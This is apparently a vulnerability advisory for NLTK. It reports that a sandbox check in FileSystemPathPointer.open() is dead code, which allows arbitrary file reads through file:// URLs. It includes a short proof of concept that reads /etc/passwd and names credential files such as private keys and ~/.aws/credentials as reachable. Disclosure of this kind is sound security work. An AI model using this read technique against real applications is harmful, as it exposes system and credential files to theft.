NLTK: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol

Summary

There's a logic bug in FileSystemPathPointer.open() inside nltk/data.py
that makes the sandbox check permanently inert. The guard condition is always
False — meaning any file the process can read is accessible by passing a
file:// URL to nltk.data.load().

Details

In nltk/data.py, FileSystemPathPointer.open() was patched at some point
with a comment saying "SECURITY PATCH ENFORCING SANDBOX", but the check
doesn't work:

 1def open(self, encoding=None):
 2    path = os.path.normpath(self._path)
 3 
 4    # Block raw absolute reads such as "/" "C:\\Windows" etc.
 5    if os.path.isabs(path) and path != os.path.normpath(self._path):
 6        raise ValueError(f"Direct absolute file access blocked: {path}")
 7 
 8    stream = open(self._path, "rb")

path is set to os.path.normpath(self._path) on line 1, then compared
against os.path.normpath(self._path) again in the condition. They are
always equal. The ValueError never fires.

On top of that, __init__ already calls os.path.abspath() before storing
self._path, so it's normalized before open() is even called. Running
normpath on it again changes nothing.

The stream = open(self._path, "rb") line is always reached regardless of
what path was passed in.

PoC

Tested on Python 3.11, NLTK 3.9.1, Ubuntu 22.04.

 1import nltk
 2from nltk.data import FileSystemPathPointer
 3 
 4# direct construction
 5ptr = FileSystemPathPointer("/etc/passwd")
 6with ptr.open() as f:
 7    print(f.read(300))
 8 
 9# via load() using file:// URL
10data = nltk.data.load("file:///etc/passwd", format="raw")
11print(data[:300])

Both print file contents. No exception is raised.

Impact

Any app that lets users influence the string passed to nltk.data.load() or
nltk.data.find() is exposed — web APIs, notebook servers, multi-tenant
pipelines. An attacker can read any file the process user has access to:
/etc/passwd, .env files, private keys, ~/.aws/credentials, etc.